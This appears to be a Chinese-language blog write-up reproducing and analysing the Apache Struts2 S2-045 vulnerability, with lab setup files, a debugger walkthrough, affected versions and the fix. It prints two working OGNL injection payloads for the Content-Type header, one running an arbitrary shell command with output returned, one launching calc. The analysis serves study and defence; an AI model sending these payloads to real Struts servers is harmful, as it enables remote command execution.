环境搭建:win10 eclipes ee struts2.3.20 tomcat8
搭建好的环境:
链接:https://pan.baidu.com/s/1mChEMcWRlKALdu9Ikce8OQ
提取码:uisj
漏洞构造条件只需模拟Struts2上传发包即可,所以我简单写了个登录校验来复现此漏洞
导入基础jar包放置在项目lib目录下
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
<constant name="struts.devMode" value="true" />
<package name="s2-045" namespace="/" extends="struts-default">
<action name="loginPro" class="com.au.struts.action.LoginAction">
<result>/welcome.jsp</result>
<result name="error">/error.jsp</result>
</action>
<action name="*">
<result>/{1}.jsp</result>
</action>
</package>
</struts>
包下创建LoginAction
package com.au.struts.action;
import com.opensymphony.xwork2.Action;
public class LoginAction implements Action {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String execute() throws Exception {
if("admin".equals(getUsername())&&"password".equals(getPassword())){
return SUCCESS;
}
return ERROR;
}
}
login.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<s:form action="loginPro">
<s:textfield name="username" key="username"/>
<s:password name="password" key="password" />
<s:submit/>
</s:form>
</body>
</html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登录成功
</body>
</html>
error.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登录失败
</body>
</html>
我的tomcat默认的是8080端口,burp默认也是8080,会冲突,所以我把burp的端口修改为8089
设置浏览器代理,运行login.jsp,点击提交
修改content-type字段
随便找了几个POC:
任意命令
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
解释:
来获取上下文容器
#container=#context['com.opensymphony.xwork2.ActionContext.container']
通过容器实例化,对Ognl API的通用访问,设置和获取属性。
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
判断目标主机的操作系统类型,并进行执行命令赋值
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
执行攻击命令
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
弹计算器:
Content-Type:
multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
成功执行
漏洞分析:
struts2的核心是拦截器,漏洞成因就是struts-default中的处理上传拦截器jakarta组件,会解析错误信息里的ognl
表达式并执行
struts-default.xml中配置
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="prototype"/>
struts2运行机制会首先执行StrutsPrepareAndExecuteFilter类,
然后对输入请求对象request
的进行封装调用执行到Dispatcher类的wrapRequest方法
下图if判断是否为struts2上传,我们弹计算器的 poc 就构造了multipart/form-data 满足if条件
getMultiPartRequest()方法则使其默认就使用上述拦截器即解析类,从而引发了漏洞
在org.apache.struts2.dispatcher.Dispatcher类的wrapRequest方法838行设置断点进入MultiPartRequestWrapper类
单步调试,此时调用JakartaMultiPartRequest类的parse方法进行解析请求,进入函数
在parse
方法中,processUpload
方法触发异常,在下面捕获到该异常 (Content-Type
异常)。
并且将异常信息传入JakartaMultiPartRequest类的buildErrorMessage
方法中
进入buildErrorMessage
方法返回LocalizedTextUtil.findText方法
e.getMessage()
就是获取我们上一张图的报错信息,其中就有构造的payload,继续单步
来到LocalizedTextUtil.findText
方法
返回findText()方法,进入该方法,上图defaultMessage参数被传入,继续调试
进入getDefaultMessage
方法,defaultMessage赋给message,translateVariables方法带入此参数
顾名思义,我们构造的ognl表达式被执行。我们不再进入,直接运行,poc被执行。
总结:
漏洞成因:
Struts2默认解析上传文件的Content-Type
头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码。
影响范围:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
官方修复:
升级,补丁去掉方法: LocalizedTextUtil.findText(......);
tip:分析原理及过程时,也可通过官方修复的代码或文档来对照快速定位关键代码进行调试分析。
自己动手实践分析,确实比看别人的强啊~